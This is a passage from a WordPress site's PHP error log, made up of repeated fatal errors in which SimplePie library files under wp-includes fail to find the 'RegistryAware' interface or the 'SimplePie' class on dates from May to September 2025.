[14-May-2025 14:23:48 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[14-May-2025 14:23:49 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[14-May-2025 14:23:51 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[14-May-2025 14:23:52 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[14-May-2025 14:23:52 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[14-May-2025 14:23:53 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[14-May-2025 14:23:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[14-May-2025 14:23:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[14-May-2025 14:23:56 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[14-May-2025 14:23:57 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[14-May-2025 14:23:59 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[14-May-2025 14:23:59 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[14-May-2025 14:23:59 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[14-May-2025 14:24:00 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[14-May-2025 14:24:03 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[01-Jul-2025 14:16:22 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[01-Jul-2025 14:16:32 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[01-Jul-2025 14:16:35 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[01-Jul-2025 14:16:38 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[01-Jul-2025 14:16:46 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[01-Jul-2025 14:16:48 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[19-Jul-2025 09:06:29 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[19-Jul-2025 09:07:10 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[19-Jul-2025 09:07:19 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[19-Jul-2025 09:07:29 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[19-Jul-2025 09:07:53 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[19-Jul-2025 09:08:18 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[20-Aug-2025 23:25:39 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[20-Aug-2025 23:25:42 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[20-Aug-2025 23:25:44 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[20-Aug-2025 23:25:46 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[20-Aug-2025 23:25:48 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[20-Aug-2025 23:25:52 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[21-Aug-2025 19:22:17 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[21-Aug-2025 19:22:22 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[21-Aug-2025 19:22:40 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[21-Aug-2025 19:30:21 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[21-Aug-2025 19:30:41 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[21-Aug-2025 19:31:13 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[26-Aug-2025 06:20:13 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[26-Aug-2025 06:20:22 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[26-Aug-2025 06:20:22 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[26-Aug-2025 06:20:27 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[26-Aug-2025 06:20:28 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[26-Aug-2025 06:20:29 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[26-Aug-2025 06:30:47 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[26-Aug-2025 06:30:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[26-Aug-2025 06:30:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[26-Aug-2025 06:31:00 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[26-Aug-2025 06:31:01 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[26-Aug-2025 06:31:02 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[27-Aug-2025 11:56:33 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[27-Aug-2025 11:58:40 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[27-Aug-2025 11:59:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[27-Aug-2025 12:00:03 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[27-Aug-2025 12:01:42 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[27-Aug-2025 12:02:07 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[27-Aug-2025 14:08:10 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[27-Aug-2025 14:10:35 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[27-Aug-2025 14:11:16 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[27-Aug-2025 14:12:34 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[27-Aug-2025 14:14:34 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[27-Aug-2025 14:15:04 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[04-Sep-2025 00:31:32 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[04-Sep-2025 00:31:42 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[04-Sep-2025 00:31:43 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[04-Sep-2025 00:31:49 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[04-Sep-2025 00:31:50 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[04-Sep-2025 00:31:53 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[04-Sep-2025 00:52:02 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[04-Sep-2025 00:52:11 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[04-Sep-2025 00:52:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[04-Sep-2025 00:52:19 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[04-Sep-2025 00:52:21 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[04-Sep-2025 00:52:22 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[06-Sep-2025 01:50:22 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[06-Sep-2025 01:50:30 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[06-Sep-2025 01:50:30 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[06-Sep-2025 01:50:34 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[06-Sep-2025 01:50:35 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[06-Sep-2025 01:50:36 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[06-Sep-2025 01:59:19 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[06-Sep-2025 01:59:26 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[06-Sep-2025 01:59:26 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[06-Sep-2025 01:59:32 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[06-Sep-2025 01:59:33 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[06-Sep-2025 01:59:33 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[09-Sep-2025 17:36:04 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[09-Sep-2025 17:36:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[09-Sep-2025 17:36:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[09-Sep-2025 17:36:21 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[09-Sep-2025 17:36:23 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[09-Sep-2025 17:36:23 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[09-Sep-2025 17:50:09 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[09-Sep-2025 17:50:18 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[09-Sep-2025 17:50:18 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[09-Sep-2025 17:50:23 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[09-Sep-2025 17:50:25 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[09-Sep-2025 17:50:26 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[14-Sep-2025 15:03:42 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
